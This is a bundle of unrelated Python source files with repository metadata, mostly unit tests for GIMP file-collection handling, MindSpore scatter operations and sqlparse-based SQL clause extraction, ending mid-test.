.create('Mask', np.array([[[0, 0, 0], [255, 255, 255]]], dtype=np.uint8)) src_collection = GimpFileCollection([src_1.get_file()]) dst_collection = GimpFileCollection([dst_1.get_file(), dst_2.get_file()]) dst_collection.merge_mask_layer_from(src_collection, 'Mask', MaskForegroundColor.WHITE, timeout_in_seconds=10) assert np.all(dst_1.layer_to_numpy('Mask') == [[255, 255, 255], [255, 255, 255]]) assert ['Mask'] == dst_1.layer_names() assert 'Mask' in dst_2.layer_names() assert np.all(dst_2.layer_to_numpy('Mask') == [[0, 0, 0], [255, 255, 255]]) assert ['Mask'] == dst_2.layer_names() def test_merge_mask_layer_from_with_mask_not_available_in_files_in_both_collections_and_foreground_color_white(): with TemporaryDirectory('_src') as srcdir, TemporaryDirectory('_dst') as dstdir: src_1 = GimpFile(os.path.join(srcdir, 'file1.xcf')) \ .create_empty(2, 1, GimpFileType.GRAY) dst_1 = GimpFile(os.path.join(dstdir, 'file1.xcf')) \ .create_empty(2, 1, GimpFileType.GRAY) src_collection = GimpFileCollection([src_1.get_file()]) dst_collection = GimpFileCollection([dst_1.get_file()]) dst_collection.merge_mask_layer_from(src_collection, 'Mask', MaskForegroundColor.WHITE, timeout_in_seconds=10) assert np.all(dst_1.layer_to_numpy('Mask') == [[0], [0]]) assert ['Mask'] == dst_1.layer_names() def test_merge_mask_layer_from_with_mask_not_available_in_files_in_both_collections_and_foreground_color_black(): with TemporaryDirectory('_src') as srcdir, TemporaryDirectory('_dst') as dstdir: src_1 = GimpFile(os.path.join(srcdir, 'file1.xcf')) \ .create_empty(2, 1, GimpFileType.GRAY) dst_1 = GimpFile(os.path.join(dstdir, 'file1.xcf')) \ .create_empty(2, 1, GimpFileType.GRAY) src_collection = GimpFileCollection([src_1.get_file()]) dst_collection = GimpFileCollection([dst_1.get_file()]) dst_collection.merge_mask_layer_from(src_collection, 'Mask', MaskForegroundColor.BLACK, timeout_in_seconds=10) assert np.all(dst_1.layer_to_numpy('Mask') == [[255], [255]]) assert ['Mask'] == dst_1.layer_names() def test_clear_selection(): file_with_selection_original = file.relative_to(__file__, 'test-resources/selection.xcf') with TempFile('.xcf') as file_with_selection: shutil.copyfile(file_with_selection_original, file_with_selection) collection = GimpFileCollection([file_with_selection]) selections_before = _has_selections(collection) assert selections_before[file_with_selection] collection.clear_selection(timeout_in_seconds=10) selections_after = _has_selections(collection) assert not selections_after[file_with_selection] def _has_selections(collection): result = collection.execute_script_and_return_json( textwrap.dedent( """ import gimp from pgimp.gimp.parameter import get_json, return_json from pgimp.gimp.file import XcfFile files = get_json('__files__') selections = {} for file in files: with XcfFile(file, save=True) as image: selections[file] = not gimp.pdb.gimp_selection_is_empty(image) return_json(selections) """ ), timeout_in_seconds=10 ) return result def test_remove_layers_by_name(): data = np.array([[0, 255]], dtype=np.uint8) with TemporaryDirectory('_files') as dir: file1 = GimpFile(os.path.join(dir, 'file1.xcf')) \ .create('Background', data) \ .add_layer_from_numpy('Layer 1', data) \ .add_layer_from_numpy('Layer 2', data) \ .add_layer_from_numpy('Layer 3', data) file2 = GimpFile(os.path.join(dir, 'file2.xcf')) \ .create('Background', data) \ .add_layer_from_numpy('Layer 1', data) \ .add_layer_from_numpy('Layer 2', data) collection = GimpFileCollection([file1.get_file(), file2.get_file()]) collection.remove_layers_by_name(['Layer 1', 'Layer 3'], timeout_in_seconds=10) assert file1.layer_names() == ['Layer 2', 'Background'] assert file2.layer_names() == ['Layer 2', 'Background']

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null

0

6

9b5316477ce7fd6da19f6364699eb3e0afb2374d

87

py

Python

envisage/plugins/ipython_kernel/api.py

janvonrickenbach/Envisage_wxPhoenix_py3

cf79e5b2a0c3b46898a60b5fe5a2fb580604808b

[ "BSD-3-Clause" ]

null

envisage/plugins/ipython_kernel/api.py

janvonrickenbach/Envisage_wxPhoenix_py3

cf79e5b2a0c3b46898a60b5fe5a2fb580604808b

[ "BSD-3-Clause" ]

1

2017-05-22T21:15:22.000Z

envisage/plugins/ipython_kernel/api.py

janvonrickenbach/Envisage_wxPhoenix_py3

cf79e5b2a0c3b46898a60b5fe5a2fb580604808b

[ "BSD-3-Clause" ]

1

2019-10-01T07:03:58.000Z

from ipython_kernel_plugin import IPythonKernelPlugin, IPYTHON_KERNEL_PROTOCOL # noqa

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1

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6

9b601d1541c40d95e59c43221fab5f52ddc75afd

231

py

Python

zvt/recorders/joinquant/overall/__init__.py

Evergreen2020/zvt

446a2512d716a38a12164b6d4468a6c9de01b986

[ "MIT" ]

6

2020-09-03T10:02:00.000Z

2021-02-04T02:51:47.000Z

zvt/recorders/joinquant/overall/__init__.py

Evergreen2020/zvt

446a2512d716a38a12164b6d4468a6c9de01b986

[ "MIT" ]

2

2019-12-20T13:12:30.000Z

2020-01-03T06:24:30.000Z

zvt/recorders/joinquant/overall/__init__.py

Evergreen2020/zvt

446a2512d716a38a12164b6d4468a6c9de01b986

[ "MIT" ]

2

2020-07-08T04:15:40.000Z

2021-06-08T08:51:31.000Z

# -*- coding: utf-8 -*- from zvt.recorders.joinquant.overall.cross_market_recorder import * from zvt.recorders.joinquant.overall.margin_trading_recorder import * from zvt.recorders.joinquant.overall.stock_summary_recorder import *

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32e9f9206385a627a8ad3b33526b3f3d199fd0d3

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py

Python

practice.py

dajimmy1120/AvatarGAN

be264914223490ee9c23e59ad5a414da1aef4824

[ "Apache-2.0" ]

null

practice.py

dajimmy1120/AvatarGAN

be264914223490ee9c23e59ad5a414da1aef4824

[ "Apache-2.0" ]

null

practice.py

dajimmy1120/AvatarGAN

be264914223490ee9c23e59ad5a414da1aef4824

[ "Apache-2.0" ]

null

from keras_segmentation.pretrained import pspnet_101_voc12 pspnet_101_voc12()

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null

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fd04dad88b99035b710b66d225ec5a6739f0249b

25,604

py

Python

tests/st/ops/cpu/test_scatter_arithmetic_op.py

PowerOlive/mindspore

bda20724a94113cedd12c3ed9083141012da1f15

[ "Apache-2.0" ]

3,200

2020-02-17T12:45:41.000Z

2022-03-31T20:21:16.000Z

tests/st/ops/cpu/test_scatter_arithmetic_op.py

zimo-geek/mindspore

665ec683d4af85c71b2a1f0d6829356f2bc0e1ff

[ "Apache-2.0" ]

176

2020-02-12T02:52:11.000Z

2022-03-28T22:15:55.000Z

tests/st/ops/cpu/test_scatter_arithmetic_op.py

zimo-geek/mindspore

665ec683d4af85c71b2a1f0d6829356f2bc0e1ff

[ "Apache-2.0" ]

621

2020-03-09T01:31:41.000Z

2022-03-30T03:43:19.000Z

# Copyright 2021 Huawei Technologies Co., Ltd # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # ============================================================================ import numpy as np import pytest import mindspore.context as context import mindspore.nn as nn from mindspore import Tensor, Parameter from mindspore.ops import operations as P context.set_context(mode=context.GRAPH_MODE, device_target="CPU") class TestScatterAddNet(nn.Cell): def __init__(self, lock, inputx, indices, updates): super(TestScatterAddNet, self).__init__() self.scatter_add = P.ScatterAdd(use_locking=lock) self.inputx = Parameter(inputx, name="inputx") self.indices = Parameter(indices, name="indices") self.updates = Parameter(updates, name="updates") def construct(self): out = self.scatter_add(self.inputx, self.indices, self.updates) return out def scatter_add_net(inputx, indices, updates): lock = True net = TestScatterAddNet(lock, inputx, indices, updates) return net() def scatter_add_use_locking_false_net(inputx, indices, updates): lock = False net = TestScatterAddNet(lock, inputx, indices, updates) return net() @pytest.mark.level0 @pytest.mark.platform_x86_cpu @pytest.mark.env_onecard def test_scatter_add_small_float32(): inputx = Tensor(np.zeros((2, 3)).astype(np.float32)) indices = Tensor(np.array([[0, 1], [0, 1]]).astype(np.int32)) updates = Tensor(np.arange(12).reshape((2, 2, 3)).astype(np.float32)) output = scatter_add_net(inputx, indices, updates) expected = np.array([[6., 8., 10.], [12., 14., 16.]]) np.testing.assert_array_almost_equal(output.asnumpy(), expected) @pytest.mark.level0 @pytest.mark.platform_x86_cpu @pytest.mark.env_onecard def test_scatter_add_input_updated(): inputx = Tensor(np.zeros((2, 3)).astype(np.float32)) indices = Tensor(np.array([[0, 1], [0, 1]]).astype(np.int32)) updates = Tensor(np.arange(12).reshape((2, 2, 3)).astype(np.float32)) lock = True net = TestScatterAddNet(lock, inputx, indices, updates) net() expected = np.array([[6., 8., 10.], [12., 14., 16.]]) np.testing.assert_array_almost_equal(net.inputx.asnumpy(), expected) @pytest.mark.level0 @pytest.mark.platform_x86_cpu @pytest.mark.env_onecard def test_scatter_add_large_shape_float32(): inputx = Tensor(np.ones((4, 2, 3, 4)).astype(np.float32)) indices = Tensor(np.array([[0, 2], [3, 1]]).astype(np.int32)) updates = Tensor(np.arange(96).reshape((2, 2, 2, 3, 4)).astype(np.float32)) output = scatter_add_net(inputx, indices, updates) expected = np.array([[[[1., 2., 3., 4.], [5., 6., 7., 8.], [9., 10., 11., 12.]], [[13., 14., 15., 16.], [17., 18., 19., 20.], [21., 22., 23., 24.]]], [[[73., 74., 75., 76.], [77., 78., 79., 80.], [81., 82., 83., 84.]], [[85., 86., 87., 88.], [89., 90., 91., 92.], [93., 94., 95., 96.]]], [[[25., 26., 27., 28.], [29., 30., 31., 32.], [33., 34., 35., 36.]], [[37., 38., 39., 40.], [41., 42., 43., 44.], [45., 46., 47., 48.]]], [[[49., 50., 51., 52.], [53., 54., 55., 56.], [57., 58., 59., 60.]], [[61., 62., 63., 64.], [65., 66., 67., 68.], [69., 70., 71., 72.]]]]) np.testing.assert_array_almost_equal(output.asnumpy(), expected) @pytest.mark.level0 @pytest.mark.platform_x86_cpu @pytest.mark.env_onecard def test_scatter_add_small_float32_use_locking_false(): inputx = Tensor(np.zeros((2, 3)).astype(np.float32)) indices = Tensor(np.array([1, 0]).astype(np.int32)) updates = Tensor(np.arange(6).reshape((2, 3)).astype(np.float32)) output = scatter_add_use_locking_false_net(inputx, indices, updates) expected = np.array([[3., 4., 5.], [0., 1., 2.]]) np.testing.assert_array_almost_equal(output.asnumpy(), expected) @pytest.mark.level0 @pytest.mark.platform_x86_cpu @pytest.mark.env_onecard def test_scatter_add_input_less_than_1_float32(): inputx = Tensor(np.array([[0.214141, 0.415151, 0.51516], [0.876542, 0.451611, 0.55112], [0.111244, 0.633333, 0.34444]]).astype(np.float32)) indices = Tensor(np.array([[[1, 0, 2], [2, 2, 0]], [[1, 0, 1], [2, 1, 2]]]).astype(np.int32)) updates = Tensor(np.arange(34, 70).reshape((2, 2, 3, 3)).astype(np.float32)) output = scatter_add_net(inputx, indices, updates) expected = np.array([[141.21414, 144.41515, 147.51517], [208.87654, 212.45161, 216.55112], [257.11124, 262.63333, 267.34442]], dtype=np.float32) np.testing.assert_array_almost_equal(output.asnumpy(), expected) @pytest.mark.level0 @pytest.mark.platform_x86_cpu @pytest.mark.env_onecard def test_scatter_add_float16(): inputx = Tensor(np.zeros((2, 3)).astype(np.float16)) indices = Tensor(np.array([[0, 1], [0, 1]]).astype(np.int32)) updates = Tensor(np.arange(12).reshape((2, 2, 3)).astype(np.float16)) output = scatter_add_net(inputx, indices, updates) expected = np.array([[6., 8., 10.], [12., 14., 16.]]) np.testing.assert_array_almost_equal(output.asnumpy(), expected) @pytest.mark.level0 @pytest.mark.platform_x86_cpu @pytest.mark.env_onecard def test_scatter_add_large_float16(): inputx = Tensor(np.zeros((2, 3, 4)).astype(np.float16)) indices = Tensor(np.array([[0, 0], [1, 1]]).astype(np.int32)) updates = Tensor(np.arange(63, 111).reshape((2, 2, 3, 4)).astype(np.float16)) output = scatter_add_net(inputx, indices, updates) expected = np.array([[[138., 140., 142., 144.], [146., 148., 150., 152.], [154., 156., 158., 160.]], [[186., 188., 190., 192.], [194., 196., 198., 200.], [202., 204., 206., 208.]]]) np.testing.assert_array_almost_equal(output.asnumpy(), expected) @pytest.mark.level0 @pytest.mark.platform_x86_cpu @pytest.mark.env_onecard def test_scatter_add_disordered_float16(): inputx = Tensor(np.flip(np.arange(34, 46).reshape(3, 4).astype(np.float16))) indices = Tensor(np.array([[[0, 1, 2], [2, 1, 0]], [[0, 0, 0], [2, 2, 2]]]).astype(np.int32)) updates = Tensor(np.arange(63, 111).reshape((2, 2, 3, 4)).astype(np.float16)) output = scatter_add_net(inputx, indices, updates) expected = np.array([[464., 468., 472., 476.], [187., 188., 189., 190.], [492., 496., 500., 504.]]) np.testing.assert_array_almost_equal(output.asnumpy(), expected) @pytest.mark.level0 @pytest.mark.platform_x86_cpu @pytest.mark.env_onecard def test_scatter_add_large_int32(): inputx = Tensor(np.zeros((2, 3, 4)).astype(np.int32)) indices = Tensor(np.array([[0, 0], [1, 1]]).astype(np.int32)) updates = Tensor(np.arange(63, 111).reshape((2, 2, 3, 4)).astype(np.int32)) output = scatter_add_net(inputx, indices, updates) expected = np.array([[[138., 140., 142., 144.], [146., 148., 150., 152.], [154., 156., 158., 160.]], [[186., 188., 190., 192.], [194., 196., 198., 200.], [202., 204., 206., 208.]]]).astype(np.int32) np.testing.assert_array_almost_equal(output.asnumpy(), expected) @pytest.mark.level0 @pytest.mark.platform_x86_cpu @pytest.mark.env_onecard def test_scatter_add_disordered_int32(): inputx = Tensor(np.flip(np.arange(34, 46).reshape(3, 4).astype(np.int32))) indices = Tensor(np.array([[[0, 1, 2], [2, 1, 0]], [[0, 0, 0], [2, 2, 2]]]).astype(np.int32)) updates = Tensor(np.arange(63, 111).reshape((2, 2, 3, 4)).astype(np.int32)) output = scatter_add_net(inputx, indices, updates) expected = np.array([[464., 468., 472., 476.], [187., 188., 189., 190.], [492., 496., 500., 504.]]).astype(np.int32) np.testing.assert_array_almost_equal(output.asnumpy(), expected) class TestScatterSubNet(nn.Cell): def __init__(self, lock, inputx, indices, updates): super(TestScatterSubNet, self).__init__() self.scatter_sub = P.ScatterSub(use_locking=lock) self.inputx = Parameter(inputx, name="inputx") self.indices = Parameter(indices, name="indices") self.updates = Parameter(updates, name="updates") def construct(self): out = self.scatter_sub(self.inputx, self.indices, self.updates) return out def scatter_sub_net(inputx, indices, updates): lock = True net = TestScatterSubNet(lock, inputx, indices, updates) return net() def scatter_sub_use_locking_false_net(inputx, indices, updates): lock = False net = TestScatterSubNet(lock, inputx, indices, updates) return net() @pytest.mark.level0 @pytest.mark.platform_x86_cpu @pytest.mark.env_onecard def test_scatter_sub_input_updated(): inputx = Tensor(np.zeros((2, 3)).astype(np.float32)) indices = Tensor(np.array([[0, 1], [0, 1]]).astype(np.int32)) updates = Tensor(np.arange(12).reshape((2, 2, 3)).astype(np.float32)) lock = True net = TestScatterSubNet(lock, inputx, indices, updates) net() expected = np.array([[-6., -8., -10.], [-12., -14., -16.]]) np.testing.assert_array_almost_equal(net.inputx.asnumpy(), expected) @pytest.mark.level0 @pytest.mark.platform_x86_cpu @pytest.mark.env_onecard def test_scatter_sub_large_shape_float32(): inputx = Tensor(np.ones((4, 2, 3, 4)).astype(np.float32)) indices = Tensor(np.array([[0, 2], [3, 1]]).astype(np.int32)) updates = Tensor(np.arange(96).reshape((2, 2, 2, 3, 4)).astype(np.float32)) output = scatter_sub_net(inputx, indices, updates) expected = np.array( [[[[1.0, 0.0, -1.0, -2.0], [-3.0, -4.0, -5.0, -6.0], [-7.0, -8.0, -9.0, -10.0]], [[-11.0, -12.0, -13.0, -14.0], [-15.0, -16.0, -17.0, -18.0], [-19.0, -20.0, -21.0, -22.0]]], [[[-71.0, -72.0, -73.0, -74.0], [-75.0, -76.0, -77.0, -78.0], [-79.0, -80.0, -81.0, -82.0]], [[-83.0, -84.0, -85.0, -86.0], [-87.0, -88.0, -89.0, -90.0], [-91.0, -92.0, -93.0, -94.0]]], [[[-23.0, -24.0, -25.0, -26.0], [-27.0, -28.0, -29.0, -30.0], [-31.0, -32.0, -33.0, -34.0]], [[-35.0, -36.0, -37.0, -38.0], [-39.0, -40.0, -41.0, -42.0], [-43.0, -44.0, -45.0, -46.0]]], [[[-47.0, -48.0, -49.0, -50.0], [-51.0, -52.0, -53.0, -54.0], [-55.0, -56.0, -57.0, -58.0]], [[-59.0, -60.0, -61.0, -62.0], [-63.0, -64.0, -65.0, -66.0], [-67.0, -68.0, -69.0, -70.0]]]]) np.testing.assert_array_almost_equal(output.asnumpy(), expected) @pytest.mark.level0 @pytest.mark.platform_x86_cpu @pytest.mark.env_onecard def test_scatter_sub_small_float32_use_locking_false(): inputx = Tensor(np.zeros((2, 3)).astype(np.float32)) indices = Tensor(np.array([1, 0]).astype(np.int32)) updates = Tensor(np.arange(6).reshape((2, 3)).astype(np.float32)) output = scatter_sub_use_locking_false_net(inputx, indices, updates) expected = np.array([[-3., -4., -5.], [-0., -1., -2.]]) np.testing.assert_array_almost_equal(output.asnumpy(), expected) class TestScatterMulNet(nn.Cell): def __init__(self, lock, inputx, indices, updates): super(TestScatterMulNet, self).__init__() self.scatter_mul = P.ScatterMul(use_locking=lock) self.inputx = Parameter(inputx, name="inputx") self.indices = Parameter(indices, name="indices") self.updates = Parameter(updates, name="updates") def construct(self): out = self.scatter_mul(self.inputx, self.indices, self.updates) return out def scatter_mul_net(inputx, indices, updates): lock = True net = TestScatterMulNet(lock, inputx, indices, updates) return net() def scatter_mul_use_locking_false_net(inputx, indices, updates): lock = False net = TestScatterMulNet(lock, inputx, indices, updates) return net() @pytest.mark.level0 @pytest.mark.platform_x86_cpu @pytest.mark.env_onecard def test_scatter_mul_input_updated(): inputx = Tensor(np.ones((2, 3)).astype(np.float32)) indices = Tensor(np.array([[0, 1], [0, 1]]).astype(np.int32)) updates = Tensor(np.arange(12).reshape((2, 2, 3)).astype(np.float32)) lock = True net = TestScatterMulNet(lock, inputx, indices, updates) net() expected = np.array([[0., 7., 16.], [27., 40., 55.]]) np.testing.assert_array_almost_equal(net.inputx.asnumpy(), expected) @pytest.mark.level0 @pytest.mark.platform_x86_cpu @pytest.mark.env_onecard def test_scatter_mul_output_updated_float32(): inputx = Tensor(np.ones((2, 3)).astype(np.float32)) indices = Tensor(np.array([[0, 1], [0, 1]]).astype(np.int32)) updates = Tensor(np.arange(12).reshape((2, 2, 3)).astype(np.float32)) output = scatter_mul_net(inputx, indices, updates) expected = np.array([[0., 7., 16.], [27., 40., 55.]]) np.testing.assert_array_almost_equal(output.asnumpy(), expected) @pytest.mark.level0 @pytest.mark.platform_x86_cpu @pytest.mark.env_onecard def test_scatter_mul_small_float32_use_locking_false(): inputx = Tensor(np.ones((2, 3)).astype(np.float32)) indices = Tensor(np.array([[0, 1], [0, 1]]).astype(np.int32)) updates = Tensor(np.arange(12).reshape((2, 2, 3)).astype(np.float32)) output = scatter_mul_use_locking_false_net(inputx, indices, updates) expected = np.array([[0., 7., 16.], [27., 40., 55.]]) np.testing.assert_array_almost_equal(output.asnumpy(), expected) class TestScatterDivNet(nn.Cell): def __init__(self, lock, inputx, indices, updates): super(TestScatterDivNet, self).__init__() self.scatter_div = P.ScatterDiv(use_locking=lock) self.inputx = Parameter(inputx, name="inputx") self.indices = Parameter(indices, name="indices") self.updates = Parameter(updates, name="updates") def construct(self): out = self.scatter_div(self.inputx, self.indices, self.updates) return out def scatter_div_net(inputx, indices, updates): lock = True net = TestScatterDivNet(lock, inputx, indices, updates) return net() def scatter_div_use_locking_false_net(inputx, indices, updates): lock = False net = TestScatterDivNet(lock, inputx, indices, updates) return net() @pytest.mark.level0 @pytest.mark.platform_x86_cpu @pytest.mark.env_onecard def test_scatter_div_input_updated(): inputx = Tensor(np.zeros((2, 3)).astype(np.float32)) indices = Tensor(np.array([[0, 1], [0, 1]]).astype(np.int32)) updates = Tensor(np.arange(1, 13).reshape((2, 2, 3)).astype(np.float32)) lock = True net = TestScatterDivNet(lock, inputx, indices, updates) net() expected = np.array([[0., 0., 0.], [0., 0., 0.]]) np.testing.assert_array_almost_equal(net.inputx.asnumpy(), expected) @pytest.mark.level0 @pytest.mark.platform_x86_cpu @pytest.mark.env_onecard def test_scatter_div_output_updated_float32(): inputx = Tensor(np.zeros((2, 3)).astype(np.float32)) indices = Tensor(np.array([[0, 1], [0, 1]]).astype(np.int32)) updates = Tensor(np.arange(1, 13).reshape((2, 2, 3)).astype(np.float32)) output = scatter_div_net(inputx, indices, updates) expected = np.array([[0., 0., 0.], [0., 0., 0.]]) np.testing.assert_array_almost_equal(output.asnumpy(), expected) @pytest.mark.level0 @pytest.mark.platform_x86_cpu @pytest.mark.env_onecard def test_scatter_div_small_float32_use_locking_false(): inputx = Tensor(np.ones((2, 3)).astype(np.float32) * 10) indices = Tensor(np.array([[0, 1], [0, 1]]).astype(np.int32)) updates = Tensor(np.ones(12).reshape((2, 2, 3)).astype(np.float32)) output = scatter_div_use_locking_false_net(inputx, indices, updates) expected = np.array([[10., 10., 10.], [10., 10., 10.]]) np.testing.assert_array_almost_equal(output.asnumpy(), expected) class TestScatterMaxNet(nn.Cell): def __init__(self, lock, inputx, indices, updates): super(TestScatterMaxNet, self).__init__() self.scatter_max = P.ScatterMax(use_locking=lock) self.inputx = Parameter(inputx, name="inputx") self.indices = Parameter(indices, name="indices") self.updates = Parameter(updates, name="updates") def construct(self): out = self.scatter_max(self.inputx, self.indices, self.updates) return out def scatter_max_net(inputx, indices, updates): lock = True net = TestScatterMaxNet(lock, inputx, indices, updates) return net() def scatter_max_use_locking_false_net(inputx, indices, updates): lock = False net = TestScatterMaxNet(lock, inputx, indices, updates) return net() @pytest.mark.level0 @pytest.mark.platform_x86_cpu @pytest.mark.env_onecard def test_scatter_max_input_updated(): inputx = Tensor(np.zeros((2, 3)).astype(np.float32)) indices = Tensor(np.array([[0, 1], [0, 1]]).astype(np.int32)) updates = Tensor(np.arange(12).reshape((2, 2, 3)).astype(np.float32)) lock = True net = TestScatterMaxNet(lock, inputx, indices, updates) net() expected = np.array([[6., 7., 8.], [9., 10., 11.]]) np.testing.assert_array_almost_equal(net.inputx.asnumpy(), expected) @pytest.mark.level0 @pytest.mark.platform_x86_cpu @pytest.mark.env_onecard def test_scatter_max_output_updated_float32(): inputx = Tensor(np.zeros((2, 3)).astype(np.float32)) indices = Tensor(np.array([[0, 1], [0, 1]]).astype(np.int32)) updates = Tensor(np.arange(12).reshape((2, 2, 3)).astype(np.float32)) output = scatter_max_net(inputx, indices, updates) expected = np.array([[6., 7., 8.], [9., 10., 11.]]) np.testing.assert_array_almost_equal(output.asnumpy(), expected) @pytest.mark.level0 @pytest.mark.platform_x86_cpu @pytest.mark.env_onecard def test_scatter_max_small_float32_use_locking_false(): inputx = Tensor(np.ones((2, 3)).astype(np.float32) * 10) indices = Tensor(np.array([[0, 1], [0, 1]]).astype(np.int32)) updates = Tensor(np.arange(12).reshape((2, 2, 3)).astype(np.float32)) output = scatter_max_use_locking_false_net(inputx, indices, updates) expected = np.array([[10., 10., 10.], [10., 10., 11.]]) np.testing.assert_array_almost_equal(output.asnumpy(), expected) class TestScatterMinNet(nn.Cell): def __init__(self, lock, inputx, indices, updates): super(TestScatterMinNet, self).__init__() self.scatter_min = P.ScatterMin(use_locking=lock) self.inputx = Parameter(inputx, name="inputx") self.indices = Parameter(indices, name="indices") self.updates = Parameter(updates, name="updates") def construct(self): out = self.scatter_min(self.inputx, self.indices, self.updates) return out def scatter_min_net(inputx, indices, updates): lock = True net = TestScatterMinNet(lock, inputx, indices, updates) return net() def scatter_min_use_locking_false_net(inputx, indices, updates): lock = False net = TestScatterMinNet(lock, inputx, indices, updates) return net() @pytest.mark.level0 @pytest.mark.platform_x86_cpu @pytest.mark.env_onecard def test_scatter_min_input_updated(): inputx = Tensor(np.zeros((2, 3)).astype(np.float32)) indices = Tensor(np.array([[0, 1], [0, 1]]).astype(np.int32)) updates = Tensor(np.arange(12).reshape((2, 2, 3)).astype(np.float32)) lock = True net = TestScatterMinNet(lock, inputx, indices, updates) net() expected = np.array([[0., 0., 0.], [0., 0., 0.]]) np.testing.assert_array_almost_equal(net.inputx.asnumpy(), expected) @pytest.mark.level0 @pytest.mark.platform_x86_cpu @pytest.mark.env_onecard def test_scatter_min_output_updated_float32(): inputx = Tensor(np.ones((2, 3)).astype(np.float32)) indices = Tensor(np.array([[0, 1], [0, 1]]).astype(np.int32)) updates = Tensor(np.arange(12).reshape((2, 2, 3)).astype(np.float32)) output = scatter_min_net(inputx, indices, updates) expected = np.array([[0., 1., 1.], [1., 1., 1.]]) np.testing.assert_array_almost_equal(output.asnumpy(), expected) @pytest.mark.level0 @pytest.mark.platform_x86_cpu @pytest.mark.env_onecard def test_scatter_min_small_float32_use_locking_false(): inputx = Tensor(np.ones((2, 3)).astype(np.float32)) indices = Tensor(np.array([[0, 1], [0, 1]]).astype(np.int32)) updates = Tensor(np.arange(12).reshape((2, 2, 3)).astype(np.float32)) output = scatter_min_use_locking_false_net(inputx, indices, updates) expected = np.array([[0., 1., 1.], [1., 1., 1.]]) np.testing.assert_array_almost_equal(output.asnumpy(), expected) class TestScatterUpdateNet(nn.Cell): def __init__(self, lock, inputx, indices, updates): super(TestScatterUpdateNet, self).__init__() self.scatter_update = P.ScatterUpdate(use_locking=lock) self.inputx = Parameter(inputx, name="inputx") self.indices = Parameter(indices, name="indices") self.updates = Parameter(updates, name="updates") def construct(self): out = self.scatter_update(self.inputx, self.indices, self.updates) return out def scatter_update_net(inputx, indices, updates): lock = True net = TestScatterUpdateNet(lock, inputx, indices, updates) return net() def scatter_update_use_locking_false_net(inputx, indices, updates): lock = False net = TestScatterUpdateNet(lock, inputx, indices, updates) return net() @pytest.mark.level0 @pytest.mark.platform_x86_cpu @pytest.mark.env_onecard def test_scatter_update_input_updated(): inputx = Tensor(np.zeros((2, 3)).astype(np.float32)) indices = Tensor(np.array([[0, 1], [0, 1]]).astype(np.int32)) updates = Tensor(np.arange(12).reshape((2, 2, 3)).astype(np.float32)) lock = True net = TestScatterUpdateNet(lock, inputx, indices, updates) net() expected = np.array([[6., 7., 8.], [9., 10., 11.]]) np.testing.assert_array_almost_equal(net.inputx.asnumpy(), expected) @pytest.mark.level0 @pytest.mark.platform_x86_cpu @pytest.mark.env_onecard def test_scatter_update_output_updated_float32(): inputx = Tensor(np.ones((2, 3)).astype(np.float32)) indices = Tensor(np.array([[0, 1], [0, 1]]).astype(np.int32)) updates = Tensor(np.arange(12).reshape((2, 2, 3)).astype(np.float32)) output = scatter_update_net(inputx, indices, updates) expected = np.array([[6., 7., 8.], [9., 10., 11.]]) np.testing.assert_array_almost_equal(output.asnumpy(), expected) @pytest.mark.level0 @pytest.mark.platform_x86_cpu @pytest.mark.env_onecard def test_scatter_update_small_float32_use_locking_false(): inputx = Tensor(np.ones((2, 3)).astype(np.float32)) indices = Tensor(np.array([[0, 1], [0, 1]]).astype(np.int32)) updates = Tensor(np.arange(12).reshape((2, 2, 3)).astype(np.float32)) output = scatter_update_use_locking_false_net(inputx, indices, updates) expected = np.array([[6., 7., 8.], [9., 10., 11.]]) np.testing.assert_array_almost_equal(output.asnumpy(), expected)

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pll/moto

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JFletcher94/tBot

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#exampleb generates a full tweet #examplet only calls get_string() def get_string(): '''generate full tweet text''' return 'example #text'

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diofant/printing/pretty/__init__.py

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brycecaine/sqlpt

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tests/test_api.py

brycecaine/sqlpt

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tests/test_api.py

brycecaine/sqlpt

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null

import unittest import sqlparse from sqlparse import tokens as T from sqlparse.sql import (Identifier, Statement, Token, TokenList) from context import ( extract_from_clause, extract_where_clause, tokenize) # , fused) from context import ( Query, Join, Table, FromClause, WhereClause, Field, Comparison) class TestApi(unittest.TestCase): def test_extract(self): sql = ("select id, " " name " " from tbl_stu " " join tbl_stu_crs " " on tbl_stu.id = tbl_stu_crs.stu_id " " where stu_sem = '2020-Sp' " " and enrl = 1;") whitespace = Token(T.Whitespace, ' ') table_1 = Table('tbl_stu') table_2 = Table('tbl_stu_crs') token_1 = Token(T.Name, 'tbl_stu.id') token_list_1 = TokenList([token_1]) field_1 = Identifier(token_list_1) comparison_token = Token(T.Operator, '=') comparison_list = TokenList([comparison_token]) comparison_1 = Identifier(comparison_list) token_2 = Token(T.Name, 'tbl_stu_crs.stu_id') token_list_2 = TokenList([token_2]) field_2 = Identifier(token_list_2) join_comparison = Comparison(field_1, '=', field_2) join_1 = Join(table_1, table_2, join_comparison) joins = [join_1] from_clause = FromClause(joins) from_clause_expected = str(from_clause) from_clause_actual = str(extract_from_clause(sql)) self.assertEqual(from_clause_actual, from_clause_expected) def test_compare_sql(self): sql_1 = ("select id, " " name " " from tbl_stu " " join tbl_stu_crs " " on tbl_stu.id = tbl_stu_crs.stu_id " " where stu_sem = '2020-Sp' " " and enrl = 1;") sql_2 = ("select id, " " name, " " major " " from tbl_stu_crs " " join tbl_stu " " on tbl_stu.id = tbl_stu_crs.stu_id " " where stu_sem = '2020-Sp' " " and enrl = 1;") from_clause_1 = extract_from_clause(sql_1) from_clause_2 = extract_from_clause(sql_2) where_clause_1 = extract_where_clause(sql_1) where_clause_2 = extract_where_clause(sql_2) self.assertEqual(from_clause_1, from_clause_2) self.assertEqual(where_clause_1, where_clause_2) def test_parse(self): sql = ("select id, " " name " " from tbl_stu " " join tbl_stu_crs " " on tbl_stu.id = tbl_stu_crs.stu_id " " join tbl_stu_crs_grd " " on a = b " " and c = d " " where stu_sem = '2020-Sp' " " and enrl = 1;") sql_tokens = tokenize(sql) # dir(sql_tokens[-1]) # sql_tokens[-1].tokens class TestQuery(unittest.TestCase): def test_extract(self): sql = ("select id, " " name " " from tbl_stu " " join tbl_stu_crs " " on tbl_stu.id = tbl_stu_crs.stu_id " " where stu_sem = '2020-Sp' " " and enrl = 1;") whitespace = Token(T.Whitespace, ' ') table_1 = Table('tbl_stu') table_2 = Table('tbl_stu_crs') token_1 = 